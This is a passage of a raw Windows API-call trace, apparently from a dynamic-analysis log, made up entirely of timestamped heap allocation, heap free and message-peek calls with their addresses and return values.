[0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b70 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0133.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xefc430 [0133.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0133.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c60 [0133.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076cd0 [0133.176] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076ce8 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c60 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0133.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b70 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.178] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c201) returned 0x10f01f8 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d1c0 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0133.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0133.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9dc8 | out: hHeap=0xe80000) returned 1 [0133.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0133.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.179] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.179] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.180] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c200) returned 0x110c408 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10f01f8 | out: hHeap=0xe80000) returned 1 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0133.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0133.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9bc0 | out: hHeap=0xe80000) returned 1 [0133.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0133.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c200) returned 0x10f01f8 [0133.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x110c408 | out: hHeap=0xe80000) returned 1 [0133.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.186] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9af8 [0133.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0133.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0133.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0133.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9af8 | out: hHeap=0xe80000) returned 1 [0133.188] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0133.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0133.188] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a80 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0133.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32f8 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0133.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.188] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0133.189] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0133.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0133.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.189] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.190] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.190] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c10 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0133.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0133.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c10 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0133.191] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.191] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.191] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.191] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.191] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f00 [0133.191] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f00 | out: hHeap=0xe80000) returned 1 [0133.210] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0133.210] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0133.210] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.210] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0133.210] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.211] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0133.211] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0133.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.211] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.211] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.211] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0133.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.211] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.212] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.212] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.212] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.212] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.212] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.212] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.212] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.212] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.213] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0133.213] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.213] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0133.213] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.213] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.213] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.213] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0133.214] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0133.214] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.214] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.214] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.214] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.214] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.214] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.214] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.214] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0133.214] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0133.214] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.215] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0133.215] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0133.215] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.215] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0133.215] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.215] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.215] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0133.216] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0133.216] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.216] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0133.216] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.216] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.216] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.216] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0133.216] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0133.216] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.216] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.216] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.216] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.217] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.217] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.217] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.217] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.217] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.217] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.217] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.217] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.217] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f00 [0133.217] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.218] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f00 | out: hHeap=0xe80000) returned 1 [0133.218] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.218] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2a8 [0133.218] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0133.218] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0133.218] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0133.218] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0133.218] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.218] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0133.218] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.219] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0133.219] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.220] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.220] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.220] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.220] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.220] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.220] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.220] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0133.220] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.220] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0133.220] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.220] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0133.221] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0133.221] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.221] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0133.221] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0133.221] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.221] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 